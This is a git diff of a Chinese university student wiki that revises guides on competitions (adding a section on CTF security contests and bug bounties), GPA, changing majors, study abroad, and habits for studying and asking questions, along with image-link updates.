@@ -1,8 +1,6 @@ # 竞赛指北 -> 本部分带有强烈主观色彩,仅为笔者作为技术人员参(陪)与(跑)过一年半的竞赛(如新苗、大创、互联网+、服务外包、电商、大小挑等含文本元素的竞赛)的感想。仅供参考。如有其他看法,欢迎留言。 - -# 竞赛可以带来什么 +## 竞赛可以带来什么 “哪个比赛更有含金量” 的问题应该是很多同学会关心的,然而比赛对人的帮助是因人而异的。比起列一个所谓的比赛含金量排名,笔者认为认清自己想要的是什么,再去评判比赛含金量才是有意义的。 @@ -16,17 +14,20 @@ - 如果你想锻炼自己的技术 -像 ACM 等纯技术类比赛,利用比赛锻炼技术是完全可行的;如果是含文本元素的竞赛,利用比赛驱动自己学技术相对有利有弊。利在有人催你做项目,你可以直接按照文本给的要求写项目而不用自己想 Idea 。一旦获奖,对做技术的人而言也是正反馈。而且如果团队走的足够远,会有人帮你推广你做的项目。弊端也很明显。很多含文本元素的比赛并不注重具体落地,只要文本写的够好就能入围。这种情况下 +像 ACM、CTF 等纯技术类比赛,利用比赛锻炼技术是完全可行的;如果是含文本元素的竞赛,利用比赛驱动自己学技术相对有利有弊。利在有人催你做项目,你可以直接按照文本给的要求写项目而不用自己想 Idea 。一旦获奖,对做技术的人而言也是正反馈。而且如果团队走的足够远,会有人帮你推广你做的项目。弊端也很明显。很多含文本元素的比赛并不注重具体落地,只要文本写的够好就能入围。这种情况下 + 1. 有可能组内成员提出一些工作量相当大的需求(例如一个人全栈)或者以现阶段能力完全做不了的需求,来圆上之前画的饼。 2. 当发现 “只要糊弄一下套个空壳也可以” ,你可能就不想把项目落地了。这会极大地挫伤一个人独立开发完整项目的积极性。 +尽管如此,对于多数杭电学生而言,参加竞赛是最好的锻炼技术的方式,对杭电而言,竞赛是不可或缺的一部分。 + - 如果你想拓展人脉圈 笔者的很多朋友也都是通过竞赛认识的。通过竞赛认识朋友是很不错的选择,团队项目不仅可以增加彼此之间的交流机会,也可以让你根据这位队友在协作中的表现估摸对方的品行(当你和队友为了赶比赛 DDL 一起 Debug 到两三点、或者你发现队友摆烂什么代码也不写,你大概会更深地理解到为什么这样说)。另外,如果竞赛打的够多,也会有组员主动邀请你参加其他的项目,认识更多的人。 除了志同道合的朋友,其实你也会更容易接触到老师。对于一般路过摆烂大学生来说,见到老师无非就是在讲台上,很少有面对面交流的机会。而在比赛里,你可以和你的指导老师有更深的接触。当然,这些指导老师有很为学生着想的,也有视学生为廉价劳动力的,要注意辨别。 -# 项目来源(含文本元素的竞赛) +## 项目来源(含文本元素的竞赛) - 祖传项目 @@ -42,7 +43,7 @@ 好处是本身就是落地项目,在论证项目可行性时具有很强的说服力,这类项目也相对来说会容易获奖。对于想要做实际落地项目的技术人员来说是不错的锻炼机会。 -坏处是甲方可能提出大量需求,技术人员需付出大量精力跟进,然而因为项目本身参与比赛而无法收取原定的外包费用,技术人员成为白菜大学生被白嫖(当然这个潜在可能性带来的坏处也因人而异,如果不在乎频繁改动需求 / 愿意做没有外包费用的无偿奉献,只想锻炼自己,那就无所谓)。 +坏处是甲方**可能**提出大量需求,技术人员需付出大量精力跟进,然而因为项目本身参与比赛而无法收取原定的外包费用,技术人员成为白菜大学生被白嫖(当然这个潜在可能性带来的坏处也因人而异,如果不在乎频繁改动需求 / 愿意做没有外包费用的无偿奉献,只想锻炼自己,那就无所谓)。 - 自立初创项目 @@ -52,7 +53,37 @@ 不过所有项目都始于初创项目,还是鼓励大家如果有自己的想法可以考虑初创项目。以个人体感而言,参与一个祖传项目虽然获奖相对容易,但作为一个项目的初创人,从组织团队、开发项目、打各大比赛到拿奖加 GPA ,这样的经历哪怕没拿奖也是很不错的锻炼。 -# 数据科学竞赛 +## CTF (信息安全竞赛) + +> CTF 能满足你对黑客的一切幻想 + +计算机信息安全竞赛在社会上的知名度并不高,但它和 ACM 一样是强技术竞赛,无任何 PPT 环节以及展示环节(除了一些少数比赛如国赛省赛有知识竞赛这一环节/赛道),技术就是唯一取胜的关键。CTF 是计算机安全竞赛的一种赛制,全称“Capture The Flag”,即夺旗赛,比赛选手需利用自己的计算机安全技术完成挑战,成功拿下题目后会获得一个使用`flag{}`包裹的字符串,这个字符串就是flag,提交到平台上就可以获得一定的分数。 + +杭电的 CTF 竞赛历史悠久,Vidar-Team 信息安全协会的主打比赛就是 CTF,据本文档编写之时算起已有 15 年的历史,大大小小国内国外获奖无数,本 wiki 的计算机安全部分也由信息安全协会编写。 +![](https://cdn.xyxsw.site/prize.png) + +### 优点 + +信息安全竞赛是强技术类竞赛,如果你选择计算机安全作为自己的主攻方向,该竞赛将包含几乎所有计算机安全的内容,在一个竞赛里就可以从入门到入土。 + +CTF 在计算机安全类招聘,以及计算机安全类研究生招生中占有很大作用,安全类企业在招聘时更喜欢 CTF 选手,就好像算法岗更喜欢 ACM 选手一样(虽然现在两者的就业都没有以前好了)。 + +计算机安全也是一个挑战性很强的领域,在国外有很高的研究热情,如今在国内也受政府大力支持,比如强网杯由河南省政府主办,奖金高达 500 万元,西湖论剑由浙江省政府主办,奖金也很丰厚。除此之外,在计算机安全领域还有漏洞赏金这一说,大型企业都会有 SRC(Security Response Center,安全应急响应中心)这种平台,上交该企业的漏洞就可以获得赏金,比如微软 RDP 远程代码执行漏洞(通过一定手段使得另一台电脑执行任意代码)赏金高达 10 万刀。VMware 虚拟机逃逸(在虚拟机内通过一定的手段可以在主机上执行任意代码)20 万刀等,越有挑战性的领域赏金越高。国内的SRC平台:https://www.anquanke.com/src +![](https://cdn.xyxsw.site/src.png) + +### 缺点 + +CTF 的缺点在于受学校支撑不大,学校不重视该比赛(但又有什么关系呢),CTF 浙江省省赛由杭电“主办”,为省A类竞赛,获一等奖可加 0.7 GPA(大约能让你三等奖学金(450元)变一等奖学金(1500元),但奖学金对于找工作其实没啥用),并且每队(3人)奖金 3 千元。全国大学生信息安全竞赛为B类竞赛,和省赛同等待遇。除该两个比赛以外,剩下的比赛学校均不认可(近年来强网杯等政府主办比赛也稍微提高了认可度)。但浙江省省赛在社会上的认可度远不如国赛和其他企业/战队主办的比赛。如果你想依靠竞赛去争取杭电可怜的保研名额,老老实实打数模这种杭州电子数模大学高度认可的比赛,不要选 CTF。 + +CTF还有的缺点也是目前热门领域的通病:发展速度过快,后来者需要学的东西越来越多越来越难越来越边缘。计算机安全作为一个对抗性比较强的课题(像人工智能里面的对抗性学习一样,两个AI互相下棋),发展速度是日新月异的,所以入行越晚风险越大。 + +--- + +更多可以参考计算安全章节 + +[传送门](/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8/6.%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AE%89%E5%85%A8) + +## 数据科学竞赛 这个比赛在一些学校相较而言比较冷门,但是含金量不低,奖项也相较而言比较丰厚,如果对数据科学比较感兴趣(4.8章节)的同学可以进一步了解 @@ -65,7 +96,7 @@ 竞赛公众号:Coggle数据科学 知乎专栏:机器学习理论与数据竞赛实战 -# 数模竞赛(某学长的建议) +## 数模竞赛(某学长的建议) 高中阶段,可能大家很多都把很多的精力放在了主修的课程中,常参加竞赛的精力少之又少,而大学和高中很大的一个不同点就在于,我们可以不把所有的精力都放在课程的学习上,还有很多的选择,比如选择一个自己感兴趣的社团,或者选择一个适合自己的竞赛, @@ -86,12 +117,10 @@ 最后,祝各位想参赛的学生最后可以拿到自己理想的奖项哦。 -# 智能车竞赛简介 +## 智能车竞赛简介 杭电智能车比赛主要分为三大部分:竞速(电磁),竞速(视觉)与创意组. 由于笔者是创意组的,对其他组别不是很了解,就来介绍一下我们组别的情况。我们组别全称是智能车百度创意组,是由百度与鲸鱼机器人赞助的一个比较新的组别(目前是第三年,不过也开始卷起来了),该组别与传统组别的一个比较大的不同是对于硬件方面的要求并不高(但也是需要了解的,像 arduino ,stm32 这些稍微都得玩的起来),侧重会偏向软件算法方向。百度创意组总体分为两个阶段,线上赛和线下赛,线上赛的任务有点像是 kaggle 打榜,不过是百度官方命题,并且在飞浆平台上进行测试的,本质考验的就是你对神经网络的理解和调参(炼丹),如下图所示 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnQe2AYHX93NUz6Sfoq3hUPd.png) - - +![](https://cdn.xyxsw.site/boxcnQe2AYHX93NUz6Sfoq3hUPd.png) diff --git a/1.杭电生存指南/1.4小心项目陷阱.md b/1.杭电生存指南/1.4小心项目陷阱.md index 3eee61b..c2c449e 100644 --- a/1.杭电生存指南/1.4小心项目陷阱.md +++ b/1.杭电生存指南/1.4小心项目陷阱.md @@ -1,6 +1,6 @@ # 小心项目陷阱 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPmQ725zYTxiyo2LqQkphib.png) +![](https://cdn.xyxsw.site/boxcnPmQ725zYTxiyo2LqQkphib.png) ## 辨别项目质量 @@ -52,7 +52,7 @@ 但是大家参与之前你一定要想你的能力是否等于这个项目的量级,一般情况下,要么你技术特别强,要么可能会存在一定的问题。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPSolGcUy1R0Dk2FUhPaLLc.png) +![](https://cdn.xyxsw.site/boxcnPSolGcUy1R0Dk2FUhPaLLc.png) 所以说,还是那句话,小心甄别。 diff --git a/1.杭电生存指南/1.5小组作业避雷指南.md b/1.杭电生存指南/1.5小组作业避雷指南.md index 9bc6a6d..540ede4 100644 --- a/1.杭电生存指南/1.5小组作业避雷指南.md +++ b/1.杭电生存指南/1.5小组作业避雷指南.md @@ -11,6 +11,8 @@ ::: warning 🤣 [与人合作中的 “生死疲劳” 哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1494y1o7jp) + + **一定要看看这个** ::: diff --git a/1.杭电生存指南/1.6正确解读GPA.md b/1.杭电生存指南/1.6正确解读GPA.md index 9df0525..770bfb5 100644 --- a/1.杭电生存指南/1.6正确解读GPA.md +++ b/1.杭电生存指南/1.6正确解读GPA.md @@ -10,11 +10,11 @@ GPA,一个酷似成绩的东西, 毕竟在高中,一份理想的成绩意味着一个光明的未来。 -但是我想说,在大学,请摆脱高中的绩点惯性。 +但是我想说,**在大学,请摆脱高中的绩点惯性**。 在大学,绩点其实只是一个获得资源的工具,高的绩点并不代表光明的未来,也不能够代表高超的学习能力和扎实的专业知识。同时我们要明白,与高中截然不同的是,大学是一个多目标优化问题,绩点只是优化问题的一个维度,而非所有。 -> author:晓宇 +> **author:晓宇** 所以本文会讲述 GPA 能够带来什么,什么是一个合理的对待 GPA 的态度,如果需要,如何获得一个较高的 GPA 。 @@ -90,7 +90,7 @@ B. 大一进来从来不太在意 GPA,大部分经历在研究 Github 项目 当你已经成为大学生的时候,GPA(成绩)不是和一个人的优秀的呈正相关的,这不过是一个通往一些资源的途径,同样的,也有很多资源可以不用 GPA,可以靠个人硬实力去争取,例如实习,例如科研助理云云。只是说,如果你不知道干啥,先认真学好专业课知识,是一个保有收益的事情,但当有其他选择的时候可以权衡,但也不可走另外一个极端,则完全不在乎 GPA,在职业规划并不清晰的时候不要自废道路。 -最后想说的是,一个获得资源的玩具罢了,不值得让你常沉苦海,永失真道。 +最后想说的是,一个获得资源的玩具罢了,不值得让你**常沉苦海,永失真道**。 ## GPA 补充内容: diff --git a/1.杭电生存指南/1.7杭电出国自救指南.md b/1.杭电生存指南/1.7杭电出国自救指南.md index c4ecbcc..c3cdb6e 100644 --- a/1.杭电生存指南/1.7杭电出国自救指南.md +++ b/1.杭电生存指南/1.7杭电出国自救指南.md @@ -6,13 +6,13 @@ ## 序言:一组数据看出国 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndFjrKQMhZJsH1vN1fEfaQb.png) +![](https://cdn.xyxsw.site/boxcndFjrKQMhZJsH1vN1fEfaQb.png) 点开图片可以看到左边是西交利物浦的出国数据,中间是杭电的数据,右边是成都电子科技大学的数据,可以看出西交利物浦每年去名校的数量大概是杭电一年的 20-40 倍,成电是杭电的一年的 10 倍左右,杭电出国数据实际上只有寥寥几个名校,剩下的则是一些英国院校。 这其中原因除了杭电高性价比的就业环境,双非院校选择出国深造的人数较低,我认为比较还有一点则是信息差。优秀的大学都有他们自己的飞跃手册,其中会介绍每个国家的优劣,以及申请的一些注意事项,详见下图。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnKMzGr9LSrXWmKxa1lSM1zJ.png) +![](https://cdn.xyxsw.site/boxcnKMzGr9LSrXWmKxa1lSM1zJ.png) 优越的校友资源和前人留下的数据和方案,加下信息差的叠加,就像符合幂律分布的无标度网络一样,只会让我们的差距越来越大,在感叹其他学校飞跃手册的优越性的同时也发现了一些不可参考性,因为在其中也存在着很多问题,在这些学校中,可能名校读博就是老师写个推荐信就有了面试的机会,可能去港大 / G5 就是大学四年均分 80 分的难度。有很多资料在不同的角度,我们很难参考,所以我不经会想问?那我们呢,我们考多少多少分能够去什么学校,我们想要直博应该怎么准备,所以我打算完成这份出国留学的手册,能够为学弟学妹们铺路,同样希望后面也能够有学弟学妹做完善和补充。 diff --git a/1.杭电生存指南/1.8转专业二三事.md b/1.杭电生存指南/1.8转专业二三事.md index 32bd68c..ed6b3a4 100644 --- a/1.杭电生存指南/1.8转专业二三事.md +++ b/1.杭电生存指南/1.8转专业二三事.md @@ -4,11 +4,11 @@ 相信转专业的人里,不少是慕 HDU 的强势理工科热门专业来的。但是在转专业之前,你需要先确认以下几点。 -1. 你是跟风听你家七大姑八大姨说这个专业好,才想转来这个专业的吗? -2. 你确定你所向往的和这个专业所学的相关吗?有没有比这个专业更贴切的选择? -3. 你确定你能良好适应(至少不反感)这个专业所学的专业课吗? +1. 你是**跟风**听你家七大姑八大姨说这个专业好,才想转来这个专业的吗? +2. 你确定你**所向往的**和这个专业所学的**相关**吗?有没有比这个专业更贴切的选择? +3. 你确定你能良好适应(**至少不反感**)这个专业所学的专业课吗? -以上的问题,如果有觉得不确定的,也没关系,你至少有一学期在学校里探索。可以是问该学院的学长学姐的感受,可以是进研究相关专业知识的社团学习,也可以是自己研究。总之,不能转专业转得迷迷糊糊,因为虽然 HDU 转专业机制比较友好,但转专业机会只有一次,如果你转进去之后发现自己完全不适应,那也只能自认倒霉。 +以上的问题,如果有觉得不确定的,也没关系,你至少有一学期在学校里探索。可以是问该学院的学长学姐的感受,可以是进研究相关专业知识的社团学习,也可以是自己研究。总之,不能转专业转得迷迷糊糊,因为虽然 HDU 转专业机制比较友好,**但转专业机会只有一次**,如果你转进去之后发现自己完全不适应,那也只能自认倒霉。 像笔者本人最初其实想做游戏开发,本身也热爱绘画之类的艺术。当年只觉得游戏开发和计算机有关,一门心思转计算机,后来转成功之后才发现其实数媒的培养计划更贴合笔者想学的,而现在所在的计科学得更多的是计算机理论方面的知识,也跟游戏开发不搭边。 @@ -29,16 +29,16 @@ ::: -转专业填报截止时间一般是在期末考试结束前后,届时最多填两个意向专业。 +转专业填报截止时间一般是在期末考试结束前后,届时**最多填两个**意向专业。 -转专业公示时间一般在开学前后。在转专业结果公示一周内,可以申请放弃转专业,此时视作已用过一次转专业机会,不可再次转专业。所以如果是非某个专业不去,建议只填报一个意向专业,以防被第二个专业录取,失去转专业资格。 +转专业公示时间一般在开学前后。在转专业结果公示一周内,**可以申请放弃转专业**,此时视作已用过一次转专业机会,**不可再次转专业**。所以如果是非某个专业不去,建议只填报一个意向专业,以防被第二个专业录取,失去转专业资格。 ## 转专业后的选课 在转专业公示结束后,转专业才正式生效。在公示期期间,如果想提前选课,需要走特殊退改选;也可以等转专业生效后再正常选课。 -需要注意的是,你必须退掉原专业所有的课程。如果在选课结束后,你仍有未退的原专业课程,你必须含泪又交学费又上课,说不好还要考这个课的试。其中要特别注意原专业的短学期实践课,这个课程比较容易被忽视。 +需要注意的是,**你必须退掉原专业所有的课程**。如果在选课结束后,你仍有未退的原专业课程,你必须含泪又交学费又上课,说不好还要考这个课的试。其中要特别注意原专业的短学期实践课,这个课程比较容易被忽视。 -在排课时,请找到你转入专业的培养计划,根据培养计划的课程号进行选课(而不是课程名)。HDU 有些课程同名不同号,如果选择了同名不同号的课程,只能寻求课程替代(而且有概率不成功)。这种情况常见于你发现你原来专业的课程和转入专业的某课程名字一样,你懒得换了,殊不知这两个课程完全不是一个课程号,喜变纯纯冤种。 +在排课时,请找到你转入专业的培养计划,根据培养计划的**课程号**进行选课(而不是课程名)。HDU 有些课程同名不同号,如果选择了同名不同号的课程,只能寻求课程替代(而且有概率不成功)。这种情况常见于你发现你原来专业的课程和转入专业的某课程名字一样,你懒得换了,殊不知这两个课程完全不是一个课程号,喜变纯纯冤种。 另外,建议根据开课班级排课。有些课程虽然课程号相同,但可能开给不同学院。比如计算机学院的课程经常和卓越或计算机二专业的一些课程同号,如果你选了其他专业的开课班级的班,期末考试可能会不一样(如计科和卓越的电路与电子学课程号同号,但在 20 级是分开期末考试的)。建议看清开课班级再选课。 diff --git a/1.杭电生存指南/1.9问题专题:好想进入实验室.md b/1.杭电生存指南/1.9问题专题:好想进入实验室.md index 08a6c3d..fec7ab0 100644 --- a/1.杭电生存指南/1.9问题专题:好想进入实验室.md +++ b/1.杭电生存指南/1.9问题专题:好想进入实验室.md @@ -10,15 +10,15 @@ 概括一下:摒弃伸手,被动思维,能够主动争取各种机会,带着一个能够独当一面的能力进入实验室,与老师能够形成合作关系。 -能力上:目前计算机上的科研主要在两大方向,第一大方向是 AI(关于这件事情是不是畸形要后期在讨论)第二大方向是系统数据库, +**能力上:**目前计算机上的科研主要在两大方向,第一大方向是 AI(关于这件事情是不是畸形要后期在讨论)第二大方向是系统数据库, 对于数据库与系统,我目前还没有涉及 -领域的基础能力:这里要我力推我们的课题教程,有较好的 AI 路线图,尽管 AI 有非常多子方向,如 NLP,CV,多模态,CV 下面又有检测 语义分割,NLP 又有推荐系统等云云,但是无论如何他们的源头都是 MLP,MLP 的源头都是多维线性回归,都是基于统计学习理论体系下,都是使用 Pytorch,都要学习数学理论体系,所以是可以要有一套类似的培养体系的。视觉被推荐 cs231n NLP 被推荐 CS224n。 +**领域的基础能力:**这里要我力推我们的课题教程,有较好的 AI 路线图,尽管 AI 有非常多子方向,如 NLP,CV,多模态,CV 下面又有检测 语义分割,NLP 又有推荐系统等云云,但是无论如何他们的源头都是 MLP,MLP 的源头都是多维线性回归,都是基于统计学习理论体系下,都是使用 Pytorch,都要学习数学理论体系,所以是可以要有一套类似的培养体系的。视觉被推荐 cs231n NLP 被推荐 CS224n。 论文的阅读能力:在了解一个领域的时候,最开始会发现什么词都不懂,一篇文章无论是从语言上还是英文上都无法阅读,所以能否具备快速阅读并读懂一篇文章的能力也是非常重要的。 -如何寻找老师上: +**如何寻找老师上:** 学校内和学校外都可以寻求合作,在学校内, diff --git a/1.杭电生存指南/static/image-20230801062631288.png b/1.杭电生存指南/static/image-20230801062631288.png new file mode 100644 index 0000000..5828c45 Binary files /dev/null and b/1.杭电生存指南/static/image-20230801062631288.png differ diff --git a/1.杭电生存指南/static/prize.png b/1.杭电生存指南/static/prize.png new file mode 100644 index 0000000..e6c79d6 Binary files /dev/null and b/1.杭电生存指南/static/prize.png differ diff --git a/1.杭电生存指南/static/src.png b/1.杭电生存指南/static/src.png new file mode 100644 index 0000000..bbac714 Binary files /dev/null and b/1.杭电生存指南/static/src.png differ diff --git a/1.杭电生存指南/static/v2-704a5d77d767493bada1feccadcd6c4c_720w.webp b/1.杭电生存指南/static/v2-704a5d77d767493bada1feccadcd6c4c_720w.webp new file mode 100644 index 0000000..608a809 Binary files /dev/null and b/1.杭电生存指南/static/v2-704a5d77d767493bada1feccadcd6c4c_720w.webp differ diff --git a/1.杭电生存指南/static/计算机科学联合会群聊二维码.png b/1.杭电生存指南/static/计算机科学联合会群聊二维码.png new file mode 100644 index 0000000..9b1ce3b Binary files /dev/null and b/1.杭电生存指南/static/计算机科学联合会群聊二维码.png differ diff --git a/2.高效学习/2.1.1悲壮的学习方式.md b/2.高效学习/2.1.1悲壮的学习方式.md index 24e237f..f8d7aad 100644 --- a/2.高效学习/2.1.1悲壮的学习方式.md +++ b/2.高效学习/2.1.1悲壮的学习方式.md @@ -1,6 +1,14 @@ # 2.1.1 悲壮的学习方式 -# 现状 +## 现状 + +::: tip + +引自上海交大生存指南 + +[https://survivesjtu.gitbook.io/survivesjtumanual/li-zhi-pian/bei-zhuang-de-xue-xi-fang-shi](https://survivesjtu.gitbook.io/survivesjtumanual/li-zhi-pian/bei-zhuang-de-xue-xi-fang-shi) + +::: 古人刻苦学习的故事,直到现在还在我们的身边不断上演。学生趴在山一样高的习题集边上苦苦奋斗,绝对是我校作为国内一流大学的亮丽的风景线。 @@ -8,7 +16,7 @@ 我无意全盘否定同学们吃苦耐劳的精神,但这份精神充其量只能称为悲壮。我们耗费了大量的时间和精力掌握的那些考点、技巧,在真正的知识殿堂里根本登不上大雅之堂。哪怕我们特征值求得再熟练,积分积得再复杂,中国的载人飞船也不会因此而顺利上天。 -# 解决 +## 解决 学习的时候,不要有负担心理。很多同学在学习知识的时候带着一种学不完或者学不会我就上吊算了的心态,其实这是比较危险的一种精神状态。 diff --git a/2.高效学习/2.1.2浮躁的心理状态.md b/2.高效学习/2.1.2浮躁的心理状态.md index 8924d13..57d8489 100644 --- a/2.高效学习/2.1.2浮躁的心理状态.md +++ b/2.高效学习/2.1.2浮躁的心理状态.md @@ -1,16 +1,22 @@ # 2.1.2 浮躁的心理状态 -# 现状 +## 现状 -> 我明明很努力了,但是就是学不懂,群里的同学好像啥都会 WOC
我周围的同学怎么参加竞赛的科研经历丰富的都有就我是废物呜呜呜
我的同学啥都有了但是我什么都没
为什么我室友都脱单了我还是单身狗 +> 我明明很努力了,但是就是学不懂,群里的同学好像啥都会 WOC +> +> 我周围的同学怎么参加竞赛的科研经历丰富的都有就我是废物呜呜呜 +> +> 我的同学啥都有了但是我什么都没 +> +> 为什么我室友都脱单了我还是单身狗 浮躁,往往来源于和他人的比较是具有社会属性的我们的人之常情。 然而,我们往往不能从中获得任何鼓励反而深受打击。 -# 解决方案 +## 解决方案 -如果我在这里说戒骄戒躁一定会被打的(逃) +如果我在这里说戒骄戒躁一定会被打的(逃) 学不懂一门课程,大可不必着急,慢慢来,也可以问问学长学姐或者思考一下这门课到底为什么如此组织。 @@ -26,4 +32,4 @@ 如果实在不行,来找 ZZM 聊聊吧。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg) +![](https://cdn.xyxsw.site/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg) diff --git a/2.高效学习/2.1.3错误的提问姿态.md b/2.高效学习/2.1.3错误的提问姿态.md index 5efd12d..672bf95 100644 --- a/2.高效学习/2.1.3错误的提问姿态.md +++ b/2.高效学习/2.1.3错误的提问姿态.md @@ -6,9 +6,11 @@ 然后你要慢慢询问他的问题,接着你要问各种问题各种检查然后去看,如果有十个人一百个人都这么问,你肯定会受不了的吧。 -事实上, 如果希望能提高得到回答的概率, 提问者应该学会如何更好地提问. 换句话说, 提问者应该去积极思考 "我可以主动做些什么来让对方更方便地帮助我诊断问题". +事实上,如果希望能提高得到回答的概率,提问者应该学会如何更好地提问。换句话说,提问者应该去积极思考 "我可以主动做些什么来让对方更方便地帮助我诊断问题". -如果你的提问方式非常不专业, 很可能没有人愿意关注你的问题, 因为这不仅让人觉得你随便提的问题没那么重要, 而且大家也不愿意花费大量的时间向你来回地咨询. +如果你的提问方式非常不专业,很可能没有人愿意关注你的问题,因为这不仅让人觉得你随便提的问题没那么重要,而且大家也不愿意花费大量的时间向你来回地咨询。 + + ## 解决 @@ -28,14 +30,39 @@ 问题还是没有解决,现在我该怎么做? -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhuhE7qBLHyJKaesHGC033b.png) +![](https://cdn.xyxsw.site/boxcnhuhE7qBLHyJKaesHGC033b.png) -欢迎大家阅读 +### 关于截图 -[Stop-Ask-Questions-The-Stupid-Ways/README.md at master · tangx/Stop-Ask-Questions-The-Stupid-Ways](https://github.com/tangx/Stop-Ask-Questions-The-Stupid-Ways/blob/master/README.md) 别像弱智一样提问 +如果你在问问题的时候掏出一张手机拍电脑🤳🖥️的图片,那么大概率会让想要帮助你解决问题的学长血压升高然后放弃回答你的问题。 -[https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md) 提问的智慧 +除非遇到一些特殊情况(例如你的电脑进 BIOS 了),只能手机拍照,也请保证图片清晰便于识别。 +![](static/02.jpg) + +在 wiki 的[2.2 优雅的使用工具](2.2优雅的使用工具.md),有推荐一些好用开源的截图工具 + +不过一般情况来说,Windows 的组合键`Win+Shift+S`截屏,在任意窗口按下这个组合键便可进入截屏模式,按住鼠标左键拖动框选区域即可截屏,使用`Ctrl+V`操作将截屏内容粘贴到想要保存的地方;如果已经登录了 QQ,那么 QQ 的截图快捷键默认是`Ctrl+Alt+A`,同样使用`Ctrl+V`粘贴截屏内容。 + +ps:QQ 有长截图的功能,妈妈再也不用担心我不会滚动捕捉了! + +记住这两个快捷键已经足够满足你对截图的 90% 的需求了 + +### 橡皮鸭 + +> 来自伯克利大学的学习建议 + +当遇到问题时,除了截图外,试着组织语言来解释你遇到困难的地方。 + +![](static/01.jpg) + +**这并不需要一个找到懂得如何解决问题的人 (或者甚至是一个人 —— 这种做法通常被称为橡皮鸭,因为你可以把一只橡皮鸭当作你的练习对象) ,因为主要目标是让你弄清楚你自己的想法,弄清楚你的理解和代码到底在哪里卡住了。这样你可以知道应该专注于哪一部分,以便更好地理解。** + +### 欢迎大家阅读 + +[Stop-Ask-Questions-The-Stupid-Ways](https://github.com/tangx/Stop-Ask-Questions-The-Stupid-Ways/blob/master/README.md) 别像弱智一样提问 + +[How-To-Ask-Questions-The-Smart-Way](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md) 提问的智慧 ## 关于如何搜索代码 @@ -57,11 +84,11 @@ cv.waitKey(0) 接下来,我会去搜索每行代码的作用:(以下是搜索后我做的注释) ```python -import cv2 as cv # 调opencv库 +import cv2 as cv # 调 opencv 库 img = cv.imread('lbxx.jpg',1) # 读取图片(“图片路径”) -img_1 = cv.cvtColor(img,cv.COLOR_BGR2GRAY) # 转换成灰度图(图片, 颜色模式) -cv.imshow('gray',img_1) # 展示图片(展示img_1为灰度图) -cv.imshow('colour',img) # 展示图片(展示img为彩色图) +img_1 = cv.cvtColor(img,cv.COLOR_BGR2GRAY) # 转换成灰度图(图片,颜色模式) +cv.imshow('gray',img_1) # 展示图片(展示 img_1 为灰度图) +cv.imshow('colour',img) # 展示图片(展示 img 为彩色图) cv.waitKey(0) # 保存展示窗口打开 ``` diff --git a/2.高效学习/2.1.4书籍的盲目崇拜.md b/2.高效学习/2.1.4书籍的盲目崇拜.md index e97b01c..5bc2cb0 100644 --- a/2.高效学习/2.1.4书籍的盲目崇拜.md +++ b/2.高效学习/2.1.4书籍的盲目崇拜.md @@ -1,12 +1,12 @@ # 2.1.4 书籍的盲目崇拜 -# 现状 +## 现状 很多同学在学习一个知识的时候,总是喜欢 "我们要学 C 语言,我买一本大黑书看看!" -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnqsCWmUTDr5UDLYca9YkhHh.png) +![](https://cdn.xyxsw.site/boxcnqsCWmUTDr5UDLYca9YkhHh.png) 诚然,上面的各种书写的非常好,但是我们需要思考的是,阅读这些真的能达到我们想要的目标吗??? @@ -14,7 +14,7 @@ 通常情况是,如果你阅读了一句话,用了解释这个词的意思用了三个你不懂的额外的词汇去解释,你去查这三个词汇的时候,又发现了五个你不懂的,无限循环下去。 -# 解决 +## 解决 因此,当你只是为了学习一个简单的知识,或者说为了完成一个简单的目标的时候,肝书可能不是最高效的选择。最高效的方法可能是需要什么的时候就去学习这么一个单一的知识点,并且将他和现有的体系联系起来 diff --git a/2.高效学习/2.1.5错误的学习配比.md b/2.高效学习/2.1.5错误的学习配比.md index 06ea6a0..982c674 100644 --- a/2.高效学习/2.1.5错误的学习配比.md +++ b/2.高效学习/2.1.5错误的学习配比.md @@ -18,4 +18,4 @@ 在你完成这份讲义的时候,希望你可以有选择的阅览一部分,然后带着问题去看某些课,效率也会高很多。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg) +![](https://cdn.xyxsw.site/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg) diff --git a/2.高效学习/2.1高效的前提:摆脱高中思维.md b/2.高效学习/2.1高效的前提:摆脱高中思维.md index 0bfa9f6..1f44f83 100644 --- a/2.高效学习/2.1高效的前提:摆脱高中思维.md +++ b/2.高效学习/2.1高效的前提:摆脱高中思维.md @@ -1,6 +1,6 @@ # 2.1 高效的前提:摆脱高中思维 -# 高中思维 +## 高中思维 高考,诚然为大众提供了阶级跃迁的途径 @@ -12,20 +12,34 @@ 就算你把课本上的内容搞得再烂熟,绝不代表你真正对这门课能有什么理解。 -并且,全部依赖他人给你指明方向的人生已经结束了! +**并且,全部依赖他人给你指明方向的人生已经结束了!** -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcne9EK3xz8LHOXfM8w9ih5Ig.png) +![](https://cdn.xyxsw.site/boxcne9EK3xz8LHOXfM8w9ih5Ig.png) 你无法依赖大学里的老师还是家里的父母来为你指明所谓的方向,你的人生只属于你自己,你的道路也只能由你自己来思考。 